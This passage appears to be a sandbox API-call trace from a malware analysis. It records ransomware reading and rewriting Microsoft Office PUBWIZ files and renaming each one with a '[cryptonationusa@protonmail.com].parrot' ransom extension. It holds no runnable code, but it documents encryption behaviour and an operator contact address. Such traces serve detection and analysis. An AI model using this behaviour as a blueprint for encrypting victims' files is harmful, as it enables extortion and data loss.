(in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.766] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.766] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1cba, lpOverlapped=0x0) returned 1 [0203.767] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.767] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCTBOX.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\acctbox.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCTBOX.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\acctbox.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0203.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0203.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0203.774] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.774] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.788] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.788] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5f09, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5f09, lpOverlapped=0x0) returned 1 [0203.789] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0203.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0203.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0203.812] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.812] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.813] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.813] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x40a, lpOverlapped=0x0) returned 1 [0203.814] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0203.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0203.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0203.821] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.821] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.822] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.822] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb95a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb95a, lpOverlapped=0x0) returned 1 [0203.823] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0203.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0203.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0203.834] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.834] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.836] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.836] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x854, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x854, lpOverlapped=0x0) returned 1 [0203.836] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ADRESPEL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\adrespel.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ADRESPEL.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\adrespel.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0203.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0203.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0203.860] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.860] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.861] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.861] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x594c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x594c, lpOverlapped=0x0) returned 1 [0203.863] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AIR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\air98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AIR98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\air98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0203.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0203.868] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0203.870] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.871] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.895] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.896] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa402, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa402, lpOverlapped=0x0) returned 1 [0203.931] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AWARDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\awardhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AWARDHM.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\awardhm.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.951] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0203.951] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0203.951] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0203.956] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.956] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.965] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.966] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x91cc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x91cc, lpOverlapped=0x0) returned 1 [0203.993] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BAN98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ban98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BAN98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ban98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0204.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0204.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0204.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0204.040] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0204.040] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0204.041] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.041] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd2e3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd2e3, lpOverlapped=0x0) returned 1 [0204.055] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0204.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0204.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0204.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0204.244] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0204.244] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0204.282] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.282] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x236c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x236c, lpOverlapped=0x0) returned 1 [0204.386] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.387] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0204.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0204.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0204.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0204.394] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0204.394] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0204.461] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.461] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4d90, lpOverlapped=0x0) returned 1 [0204.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BDRTKFUL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bdrtkful.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BDRTKFUL.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bdrtkful.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0204.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0204.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0204.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0204.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0204.583] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0204.584] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.585] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f40c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3f40c, lpOverlapped=0x0) returned 1 [0204.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0204.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0204.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0204.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0204.605] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0204.605] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0204.817] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.817] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31ba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31ba, lpOverlapped=0x0) returned 1 [0204.818] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0204.826] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0204.826] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0204.826] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0204.829] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0204.830] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0204.831] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.831] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0204.914] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.914] WriteFile (in: hFile=0x27c, lpBuffer=0x22de080*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22de080*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0204.918] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.919] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0204.921] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b7fd6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0204.921] CloseHandle (hObject=0x27c) returned 1 [0204.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0204.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0204.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0204.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0204.931] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0204.931] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, 